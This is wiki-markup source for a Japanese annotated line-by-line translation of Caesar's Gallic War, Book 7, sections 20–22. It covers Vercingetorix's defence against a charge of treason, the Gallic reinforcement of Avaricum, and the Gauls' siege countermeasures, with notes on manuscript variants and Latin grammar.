**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：湿地・沼地では、ぬかるみに馬の足が取られるため、&lt;br&gt;　　　　騎兵の長所である機動力が著しく低下し、&lt;br&gt;　　　　速さを活かした偵察・突撃・迂回・追撃などがし難くなる。）&lt;/span&gt;
*et [[wikt:en:illic#Adverb|illic]] fuisse [[wikt:en:utilis#Latin|utilem]], quo sint [[wikt:en:profectus#Participle_2|profecti]]. 
**&lt;small&gt;（騎兵たちが）&lt;/small&gt;発って行ったところにおいては有効だったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#16節|16節]]冒頭の説明によれば、&lt;br&gt;　　　　ウェルキンゲトリークスが最初に宿営した場所は、&lt;br&gt;　　　　アウァーリクムから16マイル離れ、沼地や森林に守られていた。&lt;br&gt;　　　　[[#19節|19節]]では、より近い、沼地に囲まれたゆるやかな丘陵に移動したという。&lt;br&gt;　　　　この移動前後の地勢の優劣を、カエサルは必ずしも明瞭に説明していない。）&lt;/span&gt;
:　
;　　　兵は拙速を尊ぶ
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:summa#Latin|Summam]] [[wikt:en:imperium#Latin|imperii]] 
**&lt;small&gt;（軍勢の）&lt;/small&gt;最高司令権は、
*se [[wikt:en:consulto#Adverb|consulto]] [[wikt:en:nullus#Latin|nulli]] [[wikt:en:discedens#Latin|discedentem]] [[wikt:en:tradidisse#Latin|tradidisse]], 
**&lt;small&gt;（ウェルキンゲトリークス）&lt;/small&gt;自らが意図的に、立ち去るに当たって、誰にも委託しなかった。
*[[wikt:en:ne#Latin|ne]] is [[wikt:en:multitudo#Latin|multitudinis]] [[wikt:en:studium#Latin|studio]] ad [[wikt:en:dimicandus#Latin|dimicandum]] [[wikt:en:impelleretur#Latin|impelleretur]]; 
**その者が大勢の熱意によって&lt;small&gt;（ローマ人と）&lt;/small&gt;闘うことに駆り立てられないように、である。
*cui rei &lt;u&gt;propter animi [[wikt:en:mollities#Latin|mollitiem]]&lt;/u&gt; [[wikt:en:studere#Latin|studere]] omnes [[wikt:en:videret#Latin|videret]], 
**その事&lt;small&gt;〔闘って決着を付けること〕&lt;/small&gt;を、&lt;u&gt;心の柔弱さのゆえに&lt;/u&gt;、皆が求めたがっている。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：「心の柔弱さのゆえに、闘いがしたくなる」というのは、&lt;br&gt;　　　　一見すると奇妙に感じられるが、ここでの柔弱さ（[[wikt:en:mollities#Latin|mollities]]）とは、&lt;br&gt;　　　　長期の攻囲戦の労苦や疲弊に持ちこたえる忍耐力のなさを指し、&lt;br&gt;　　　　長い苦難から逃避するために早期決戦を志向する心理を意味すると考えられる。）&lt;/span&gt;
*quod [[wikt:en:diutius#Latin|diutius]] [[wikt:en:labor#Latin|laborem]] ferre non [[wikt:en:possent#Latin|possent]]. 
**──というのは、&lt;small&gt;（兵は）&lt;/small&gt;より長く&lt;small&gt;（攻囲戦の）&lt;/small&gt;労苦に耐えることができないからだ──。
**:&lt;span style=&quot;color:#009900;&quot;&gt;　（訳注：[[w:孫子 (書物)|孫子]]に曰く「兵は拙速を聞くも、未だ巧の久しきを&lt;ruby&gt;&lt;rb&gt;睹&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;み&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ざるなり」&lt;ref&gt;[[wikt:en:故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり|故に兵は拙速を聞くも、未だ巧の久しきを睹ざるなり]]
「戦争というものは、拙劣に短期決戦を挑んだ事例は聞くが、巧妙に長期戦を続けた事例は聞かない」の意。長い戦争は人々を消耗させ、疲弊させてしまう。&lt;/ref&gt;）&lt;/span&gt;
:　
;　　　ローマ人は、闘わずに退却したではないか
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Romani si [[wikt:en:casu#Latin|casu]] [[wikt:en:intervenerint#Latin|intervenerint]], [[wikt:en:fortuna#Latin|fortunae]], 
**もしローマ人たちが偶然に現われたのならば、命運に&lt;small&gt;（感謝するべきであり）&lt;/small&gt;、
*si [[wikt:en:alicuius#Latin|alicuius]] [[wikt:en:indicium#Latin|indicio]] [[wikt:en:vocatus#Latin|vocati]], huic [[wikt:en:habendus#Latin|habendam]] [[wikt:en:gratia#Latin|gratiam]], 
**もし&lt;small&gt;（ローマ人たちが）&lt;/small&gt;何者かの申し立てに呼ばれて来たのならば、その者に感謝するべきだ。
*quod &lt;u&gt;et&lt;/u&gt; [[wikt:en:paucitas#Latin|paucitatem]] eorum ex loco [[wikt:en:superior#Latin|superiore]] [[wikt:en:cognosco#Latin|cognoscere]] 
**──というのは、より高い位置から彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;の少なさを知ることも、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:virtus#Latin|virtutem]] [[wikt:en:despicio#Latin|despicere]] [[wikt:en:potuerint#Latin|potuerint]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;武勇とやらを見下すこともできたのだから。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～ et …「～も…も」）&lt;/span&gt;
*qui [[wikt:en:dimico#Latin|dimicare]] non [[wikt:en:ausus#Participle|ausi]] 
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;は闘うことをあえてせずに、
*[[wikt:en:turpiter#Latin|turpiter]] se in castra [[wikt:en:receperint#Latin|receperint]]. 
**見苦しくも陣営に退却したのだ──。
:　
;　　　ガッリア人が勝つのだから、カエサルに寝返るはずがない
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; [[wikt:en:imperium#Latin|Imperium]] se &lt;u&gt;ab&lt;/u&gt; Caesare per [[wikt:en:proditio#Latin|proditionem]] [[wikt:en:nullus#Latin|nullum]] [[wikt:en:desidero#Latin|desiderare]], 
**自分&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は、カエサルから裏切りを通じて、どのような司令権も望んではいない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上の (2) 項では、味方のガッリア人たちは、ウェルキンゲトリークスが&lt;br&gt;　　　　カエサルにより [[wikt:en:regnum#Latin|regnum]]（王権、支配権）を得ようとしていると非難したのに対し、&lt;br&gt;　　　　彼は [[wikt:en:imperium#Latin|imperium]]（軍隊司令権、または支配権）という言葉を巧妙に引きずって答えている。&lt;br&gt;　　　　もちろん、言葉を変えたのは、筆者カエサル自身であろう。）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：ab は&amp;alpha;系写本の記述で、&amp;beta;系写本では a となっている。）&lt;/span&gt;
*quod habere [[wikt:en:victoria#Latin|victoria]] [[wikt:en:posset#Latin|posset]],
**&lt;small&gt;（支配権は、ローマ人に対する）&lt;/small&gt;勝利によって得られるものであり、
*quae iam esset sibi atque omnibus [[wikt:en:Galli#Latin|Gallis]] [[wikt:en:exploratus#Latin|explorata]]; 
**&lt;small&gt;（勝利は）&lt;/small&gt;もはや自分とすべてのガッリア人にとって確実なものとされているのだ。
*quin etiam ipsis &lt;u&gt;remittere&lt;/u&gt;, 
**いやそればかりか&lt;small&gt;（以下の様であれば、ガッリア人たち）&lt;/small&gt;自身に&lt;small&gt;（司令官職を）&lt;/small&gt;返還しているだろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:remitto#Latin|remittere]] は、写本Sの記述および&amp;nbsp;''[[ガリア戦記/注解編/写本と校訂版#Stephanus_(Estienne)|Stephanus]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Vascosanus|Vascosanus]]'' による修正提案で、&lt;br&gt;　　　　　　　　　&amp;beta;系・&amp;chi;系写本･写本B･M･L･N では [[wikt:en:remitteret#Latin|remitteret]] となっている。）&lt;/span&gt;
*si sibi &lt;u&gt;magis&lt;/u&gt; [[wikt:en:honor#Latin|honorem]] [[wikt:en:tribuo#Latin|tribuere]], &lt;u&gt;quam&lt;/u&gt; ab se [[wikt:en:salus#Latin|salutem]] [[wikt:en:accipio#Latin|accipere]] [[wikt:en:videantur#Latin|videantur]]. 
**もし&lt;small&gt;（ガッリア人が）&lt;/small&gt;自分から安全を受け取っているよりも、むしろ顕職を自分に授けていると思っているのならば、だが。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:magis#Latin|magis]] ～, quam …「…というよりは、むしろ～」）&lt;/span&gt;
:　
;　　　捕虜のローマ人たちに訊いてみなさい
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec ut [[wikt:en:intellegatis#Latin|intellegatis]], &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me [[wikt:en:sincere#Latin|sincere]] [[wikt:en:pronuntiari#Latin|pronuntiari]], [[wikt:en:audite#Latin|audite]] [[wikt:en:Romanus#Adjective|Romanos]] [[wikt:en:miles#Latin|milites]]. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**「これらは諸君が理解しているように、私により率直に示された。ローマ兵たちに聞いてみよ」と言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
:　
*&lt;!--❾--&gt;&lt;sup&gt;(9)&lt;/sup&gt; [[wikt:en:producit#Latin|Producit]] [[wikt:en:servus#Latin|servos]], quos in [[wikt:en:pabulatio#Latin|pabulatione]] paucis ante diebus [[wikt:en:exceperat#Latin|exceperat]] et [[wikt:en:fames#Latin|fame]] [[wikt:en:vinculum#Latin|vinculis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:excruciaverat#Latin|excruciaverat]]. 
**数日前に糧秣徴発しているのを&lt;small&gt;（彼が）&lt;/small&gt;ひっ捕らえて、飢えと鎖で拷問していたところの奴隷たちを引き出す。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:calo#Noun_5|cālō]] カーロー（軍属奴隷）と呼ばれる輜重や陣営を管理する奴隷たちのことであろう。）&lt;/span&gt;
:　
*&lt;!--❿--&gt;&lt;sup&gt;(10)&lt;/sup&gt; Hi iam ante [[wikt:en:edoctus#Latin|edocti]], quae [[wikt:en:interrogatus#Latin|interrogati]] [[wikt:en:pronuntiarent#Latin|pronuntiarent]], 
**彼ら&lt;small&gt;〔奴隷〕&lt;/small&gt;は、すでに前もって&lt;small&gt;（ガッリア勢から）&lt;/small&gt;訊問された際に語ることを&lt;small&gt;（ローマ人から）&lt;/small&gt;教え込まれており、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは奴隷たちが誰に教え込まれたのか明記していないため、&lt;br&gt;　　　　ウェルキンゲトリークスに教え込まれたと訳している場合もある。）&lt;/span&gt;
*[[wikt:en:miles#Latin|milites]] se esse [[wikt:en:legionarius#Latin|legionarios]] [[wikt:en:dicunt#Latin|dicunt]]; 
**自分たちは[[w:軍団兵|軍団兵]]であると言った。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：糧秣徴発に出かけていた者は、たとえ軍団兵でも軽装であったであろうが、&lt;br&gt;　　　　奴隷たちは、もともと戦争で捕虜になったガッリア人たち等であったと考えられるので、&lt;br&gt;　　　　地中海人種のローマ人とは容易に見分けが付きそうなものではある。）&lt;/span&gt;
*[[wikt:en:fames#Latin|fame]] &lt;u&gt;et&lt;/u&gt; [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:adductus#Latin|adductos]] [[wikt:en:clam#Latin|clam]] ex castris [[wikt:en:exisse#Latin|exisse]], si [[wikt:en:aliquis#Latin|quid]] [[wikt:en:frumentum#Latin|frumenti]] aut [[wikt:en:pecus#Latin|pecoris]] in agris [[wikt:en:reperio#Latin|reperire]] [[wikt:en:possent#Latin|possent]]; 
**&lt;small&gt;（奴隷たち曰く）&lt;/small&gt;飢えと欠乏に動かされて、何か穀物または家畜が野に見出せないかと、ひそかに陣営から抜け出した。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et は&amp;alpha;系写本の記述で、&amp;beta;系写本では atque となっている。）&lt;/span&gt;
:　
*&lt;!--⓫--&gt;&lt;sup&gt;(11)&lt;/sup&gt; [[wikt:en:similis#Latin|simili]] omnem [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:inopia#Noun_2|inopia]] [[wikt:en:premi#Latin|premi]], 
**&lt;small&gt;（ローマ人の）&lt;/small&gt;全軍隊が同様の欠乏に悩まされて、
*&lt;u&gt;nec&lt;/u&gt; iam [[wikt:en:vis#Latin|vires]] [[wikt:en:sufficio#Latin|sufficere]] [[wikt:en:quisquam#Latin|cuiusquam]] &lt;u&gt;nec&lt;/u&gt; ferre [[wikt:en:opus#Latin|operis]] [[wikt:en:labor#Latin|laborem]] posse; 
**もはや&lt;small&gt;（兵士の）&lt;/small&gt;誰もが十分な能力がなく、&lt;small&gt;（城攻めの）&lt;/small&gt;作業の労苦に耐えることができない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：nec ～ nec …「～でもなく、…でもない」）&lt;/span&gt;
*itaque [[wikt:en:statuisse#Latin|statuisse]] [[wikt:en:imperator#Latin|imperatorem]], si [[wikt:en:nihil#Latin|nihil]] in [[wikt:en:oppugnatio#Latin|oppugnatione]] oppidi &lt;u&gt;profecissent&lt;/u&gt;, [[wikt:en:triduum#Latin|triduo]] [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:deduco#Latin|deducere]]. 
**こうして将軍&lt;small&gt;〔カエサル〕&lt;/small&gt;は、もし城塞都市の攻略において何ら得られないならば、3日間で軍隊を連れ帰ると決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、写本S･L･Nでは [[wikt:en:profecissent#Latin|profecissent]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;複数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:profecisset#Latin|profecisset]]&lt;sub&gt;&amp;nbsp;(3人称･&lt;u&gt;単数&lt;/u&gt;･過去完了･接続法)&lt;/sub&gt; となっており、&lt;br&gt;　　　　　　　　　&amp;chi;系および写本B･Mでは proficissent という綴りになっている。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--⓬--&gt;&lt;sup&gt;(12)&lt;/sup&gt; &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;Haec, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:inquit#Latin|inquit]], &lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;a me, &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], 
**「これぞ」「私によって」とウェルキンゲトリークスは言った。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;　～　&lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt; の箇所は、直接話法で記されている。）&lt;/span&gt;
*&lt;!--▲直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp;&lt;span style=&quot;color:#009900;&quot;&gt;«&lt;/span&gt;&amp;nbsp;[[wikt:en:beneficium#Latin|beneficia]] [[wikt:en:habetis#Latin|habetis]], quem [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatis#Verb|insimulatis]]; &amp;nbsp;
**「裏切りだと諸君が糾弾している&lt;small&gt;（私という）&lt;/small&gt;者のおかげで得ているのだ。
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; cuius [[wikt:en:opera#Latin|opera]] sine [[wikt:en:vester#Latin|vestro]] [[wikt:en:sanguis#Latin|sanguine]] &amp;nbsp;
**その&lt;small&gt;（私という）&lt;/small&gt;者の尽力により、諸君らの流血なしに、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; tantum [[wikt:en:exercitus#Noun|exercitum]] [[wikt:en:victor#Latin|victorem]] [[wikt:en:fames#Latin|fame]] &lt;u&gt;paene&lt;/u&gt; [[wikt:en:consumptus#Latin|consumptum]] [[wikt:en:videtis#Latin|videtis]]; &amp;nbsp;
**これほどの軍隊の勝利者&lt;small&gt;〔ローマ人〕&lt;/small&gt;を飢えにより、ほとんど滅ぼしたのを諸君は見ているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：paene は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; quem [[wikt:en:turpiter#Latin|turpiter]] se ex &lt;u&gt;hac&lt;/u&gt; fuga [[wikt:en:recipiens#Latin|recipientem]] &amp;nbsp;
**彼ら&lt;small&gt;〔ローマ人〕&lt;/small&gt;が見苦しくもこのような逃亡から退却したところを、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：hac は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; ne [[wikt:en:aliqua#Pronoun|qua]] [[wikt:en:civitas#Latin|civitas]] suis finibus [[wikt:en:recipiat#Latin|recipiat]], &amp;nbsp;
**&lt;small&gt;（それらの退却したローマ人を）&lt;/small&gt;どの部族も自らの領土に受け入れないように、
*&lt;!--➡直接話法--&gt;&lt;span style=&quot;background-color:#e8e8ff;&quot;&gt;&amp;nbsp; a me [[wikt:en:provisus#Latin|provisum]] est. &lt;span style=&quot;color:#009900;&quot;&gt;»&lt;/span&gt;&amp;nbsp;&lt;/span&gt;
**私&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;により、手配された。」
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===21節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/21節]]　{{進捗|00%|2026-05-10}}&lt;/span&gt;
;ウェルキンゲトリークスの誠心とアウァーリクムの重要性を確認
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:conclamat#Latin|Conclamat]] omnis [[wikt:en:multitudo#Latin|multitudo]] 
**群集すべてが雄叫びを上げて、
*et suo [[wikt:en:mos#Latin|more]] [[wikt:en:arma#Latin|armis]] [[wikt:en:concrepat#Latin|concrepat]], 
**自分たちの慣習で武具を打ち鳴らす。
*quod facere in eo [[wikt:en:consuerunt#Verb_2|consuerunt]], cuius [[wikt:en:oratio#Latin|orationem]] [[wikt:en:adprobant#Latin|adprobant]]; 
**&lt;small&gt;（演説した）&lt;/small&gt;その者の雄弁に賛同したら、その者に対してそれをすることが常であったのだ。
*summum esse [[wikt:en:Vercingetorix#Latin|Vercingetorigem]] [[wikt:en:dux#Latin|ducem]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は最高の将帥であり、
*&lt;u&gt;nec&lt;/u&gt; de eius [[wikt:en:fides#Latin|fide]] [[wikt:en:dubitandus#Latin|dubitandum]], 
**彼の信義については疑念を抱くべきではなく、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:nec#Latin|nec]] ～, nec …「～でもないし、…でもない」）&lt;/span&gt;
*&lt;u&gt;nec&lt;/u&gt; [[wikt:en:maior#Latin|maiore]] [[wikt:en:ratio#Latin|ratione]] bellum [[wikt:en:administrari#Latin|administrari]] posse. 
**これ以上の作戦で戦争を指導することはできない&lt;small&gt;（と、叫んで武具を打ち鳴らす）&lt;/small&gt;。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; [[wikt:en:statuunt#Latin|Statuunt]], ut decem&lt;sub&gt;&amp;nbsp;(X)&lt;/sub&gt; milia hominum [[wikt:en:delectus#Latin|delecta]] ex omnibus [[wikt:en:copiae#Latin|copiis]] in oppidum &lt;u&gt;mittantur&lt;/u&gt;,  
**&lt;small&gt;（彼らは）&lt;/small&gt;すべての軍勢から選り抜かれた兵員1万を&lt;small&gt;（アウァーリクムの）&lt;/small&gt;[[w:オッピドゥム|城塞都市]]の中に派遣すると決定する。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:mittantur#Latin|mittantur]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:submittantur#Latin|submittantur]] となっている。）&lt;/span&gt;
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; nec [[wikt:en:solus#Latin|solis]] [[wikt:en:Bituriges#Latin|Biturigibus]] [[wikt:en:communis#Latin|communem]] [[wikt:en:salus#Latin|salutem]] [[wikt:en:committendus#Latin|committendam]] [[wikt:en:censent#Latin|censent]], 
**&lt;small&gt;（ガッリア）&lt;/small&gt;共通の安全をビトゥリゲース族だけに託すべきではないと考える。
*quod &lt;u&gt;penes eos&lt;/u&gt;, si id oppidum [[wikt:en:retinuissent#Latin|retinuissent]], 
**というのは、&lt;u&gt;彼らのもとで&lt;/u&gt;、その城塞都市を維持したか否かが、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&lt;br&gt;　　　　主要写本&amp;omega; では [[wikt:en:penes#Latin|penes]] eos 「彼らのもとで」だが、&lt;br&gt;　　　　オックスフォード写本 ''[[ガリア戦記/注解編/写本と校訂版#Codex_Oxoniensis_Andino|codd. Andino. Oxon.]]'' や ''[[ガリア戦記/注解編/写本と校訂版#Aldus|Aldus]]'' は paene in eo 「ほぼそのことにおいて」としている。）&lt;/span&gt;
*[[wikt:en:summa#Latin|summam]] victoriae [[wikt:en:consto#Latin|constare]] [[wikt:en:intellegebant#Latin|intellegebant]].
**勝利の天王山を確かなものにすること、を理解していたからである。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===22節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/22節]]　{{進捗|00%|2026-06-01}}&lt;/span&gt;
;アウァーリクムの籠城ガッリア勢が坑道戦で攻防に努める
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:singularis#Latin|Singulari]] [[wikt:en:miles#Latin|militum]] nostrorum [[wikt:en:virtus#Latin|virtuti]] 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;の兵士の卓越した武勇に、
*[[wikt:en:consilium#Latin|consilia]] [[wikt:en:quisque#Latin|cuiusque]] [[wikt:en:modus#Latin|modi]] [[wikt:en:Galli#Latin|Gallorum]] [[wikt:en:occurrebant#Latin|occurrebant]], 
**&lt;small&gt;（敵勢は）&lt;/small&gt;ガッリア人のあらゆる流儀の方策で抗戦していた。
*ut est summae [[wikt:en:genus#Latin|genus]] [[wikt:en:sollertia#Latin|sollertiae]] 
**確かに&lt;small&gt;（ガッリア人は）&lt;/small&gt;このうえなく器用な種族であり、
*atque ad [[wikt:en:omnia#Noun|omnia]] [[wikt:en:imitandus#Latin|imitanda]] et [[wikt:en:efficiendus#Latin|efficienda]], quae ab [[wikt:en:quisque#Latin|quoque]] [[wikt:en:traduntur#Latin|traduntur]], [[wikt:en:aptissimus#Latin|aptissimum]]. 
**誰かによって教えられることすべてを模倣すること、造り出すことにとても適しているのだ。
:　
;　　　鉄鉱山の土地柄で、坑道戦を展開する
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Nam &lt;u&gt;et&lt;/u&gt; [[wikt:en:laqueus#Latin|laqueis]] [[wikt:en:falx#Latin|falces]] [[wikt:en:avertebant#Latin|avertebant]], 
**すなわち、輪縄で&lt;small&gt;（ローマ勢の）&lt;/small&gt;破城鎌をそらし、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：et ～, et …「～でもあり、…でもある」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：破城鎌（[[w:en:Falx|falx]]）については、右図や[[ガリア戦記 第5巻#42節|第5巻42節]]を参照）&lt;/span&gt;
[[画像:Falx_bgiu.png|thumb|right|250px|破城鎌（[[w:en:Falx|falx]]）の想像画（再掲）]] 
[[画像:Doura_Europos_tunnel.jpg|thumb|right|250px|ローマ支配下の城砦跡に残る[[w:坑道|坑道]]の例（シリアの[[w:ドゥラ・エウロポス|ドゥラ・エウロポス]]遺跡）。[[w:サーサーン朝|サーサーン朝]]軍が[[w:坑道戦|坑道戦]]のために掘削したと考えられている。]]
*quas, cum [[wikt:en:destinaverant#Latin|destinaverant]], 
**それを縛り付けておいてから、
*[[wikt:en:tormentum#Latin|tormentis]] [[wikt:en:introrsus#Latin|introrsus]] [[wikt:en:reducebant#Latin|reducebant]], 
**巻揚げ機で&lt;small&gt;（城塞都市の）&lt;/small&gt;内部に引き込んでいたし、
*&lt;u&gt;et&lt;/u&gt; [[wikt:en:agger#Latin|aggerem]] [[wikt:en:cuniculus#Latin|cuniculis]] [[wikt:en:subtrahebant#Latin|subtrahebant]], 
**&lt;small&gt;（ローマ勢の）&lt;/small&gt;&lt;ruby&gt;&lt;rb&gt;[[w:アッゲル|土塁]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;アッゲル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を[[w:坑道|坑道]]によって陥没させたりもした。
*&lt;u&gt;eo&lt;/u&gt; [[wikt:en:scienter#Latin|scientius]] 
**&lt;small&gt;（以下の理由により、彼らはそのことに）&lt;/small&gt;より習熟しているのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:eo#Pronoun_5|eō]] ～ [[wikt:en:quod#Conjunction|quod]] …「…という理由で～」）&lt;/span&gt;
*&lt;u&gt;quod&lt;/u&gt; apud eos magnae sunt [[wikt:en:ferraria#Latin|ferrariae]] 
**──というのも、彼らのもとには多くの[[w:鉄鉱石|鉄鉱]]山があり、
*atque [[wikt:en:omnis#Latin|omne]] [[wikt:en:genus#Latin|genus]] [[wikt:en:cuniculus#Latin|cuniculorum]] [[wikt:en:notus#Latin|notum]] 
**坑道のあらゆる類いが知られていて
*atque [[wikt:en:usitatus#Latin|usitatum]] est. 
**慣れていただけに&lt;small&gt;（習熟しているのだ）&lt;/small&gt;。──
:　
;　　　アウァーリクムの全周に防御のための櫓を建てる
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:totus#Latin|Totum]] autem [[wikt:en:murus#Latin|murum]] ex omni parte 
**他方で、城壁の全体をあらゆる方向から、
*[[wikt:en:turris#Latin|turribus]] [[wikt:en:contabulaverant#Latin|contabulaverant]] 
**&lt;ruby&gt;&lt;rb&gt;[[w:攻城塔|攻城櫓]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トゥッリス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を&lt;small&gt;（何層にも）&lt;/small&gt;構築しておいて、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：動詞 [[wikt:en:contabulo#Latin|contabulare]] は「板張りする」。[[内乱記_第2巻#9節|『内乱記』第2巻9節]]には [[wikt:en:contabulatio#Latin|contabulatio]]「床板張り」という単語が出て来る。）&lt;/span&gt;
